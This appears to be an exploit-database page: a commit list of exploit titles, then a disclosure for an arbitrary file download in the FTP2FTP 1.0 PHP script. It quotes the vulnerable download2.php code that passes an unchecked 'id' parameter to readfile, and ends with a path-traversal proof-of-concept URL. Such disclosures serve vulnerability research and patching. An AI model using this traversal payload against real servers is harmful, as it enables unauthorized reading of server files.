a2ac269de5
8 changes to exploits/shellcodes JavaScript Core - Arbitrary Code Execution QNAP Q'Center - change_passwd Command Execution (Metasploit) Nanopool Claymore Dual Miner - APIs RCE (Metasploit) QNAP Q'Center - 'change_passwd' Command Execution (Metasploit) Nanopool Claymore Dual Miner - APIs Remote Code Execution (Metasploit) HomeMatic Zentrale CCU2 - Remote Code Execution MailGust 1.9 - Board Takeover SQL Injection MailGust 1.9 - Board Takeover (SQL Injection) Cyphor 0.19 - Board Takeover SQL Injection Cyphor 0.19 - Board Takeover (SQL Injection) versatileBulletinBoard 1.00 RC2 - 'board takeover' SQL Injection versatileBulletinBoard 1.00 RC2 - Board Takeover (SQL Injection) WordPress 2.6.1 - SQL Column Truncation Admin Takeover WordPress 2.6.1 - Admin Takeover (SQL Column Truncation) Invision Power Board 1.x?/2.x/3.x - Admin Account Takeover Invision Power Board 1.x?/2.x/3.x - Admin Takeover Joomla! < 3.6.4 - Admin TakeOver Joomla! < 3.6.4 - Admin Takeover PrestaShop < 1.6.1.19 - 'AES CBC' Privilege Escalation PrestaShop < 1.6.1.19 - 'BlowFish ECD' Privilege Escalation Smart SMS & Email Manager 3.3 - 'contact_type_id' SQL Injection Open-AudIT Community 2.1.1 - Cross-Site Scripting FTP2FTP 1.0 - Arbitrary File Download Modx Revolution < 2.6.4 - Remote Code Execution
34 lines
No EOL
1.1 KiB
Text
34 lines
No EOL
1.1 KiB
Text
# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download
|
|
# Dork: N/A
|
|
# Date: 18.07.2018
|
|
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
|
|
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
|
|
# Version: 1.0
|
|
# Category: Webapps
|
|
# Tested on: Kali linux
|
|
# Description : The "download2.php" is vulnerable in the admin panel.
|
|
The attacker can download and read all files known by the name via 'id' parameter.
|
|
|
|
====================================================
|
|
|
|
|
|
# Vuln file : /FTP2FTP/download2.php
|
|
|
|
1. <?php
|
|
2. $file = "tempFiles2/".$_GET['id'];
|
|
3.
|
|
4.
|
|
5. if (file_exists($file)) {
|
|
6. header('Content-Description: File Transfer');
|
|
7. header('Content-Type: application/octet-stream');
|
|
8. header('Content-Disposition: attachment; filename="'.basename($file).'"');
|
|
9. header('Expires: 0');
|
|
10. header('Cache-Control: must-revalidate');
|
|
11. header('Pragma: public');
|
|
12. header('Content-Length: ' . filesize($file));
|
|
13. readfile($file);
|
|
14. exit;
|
|
15. }
|
|
16. ?>
|
|
|
|
# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php |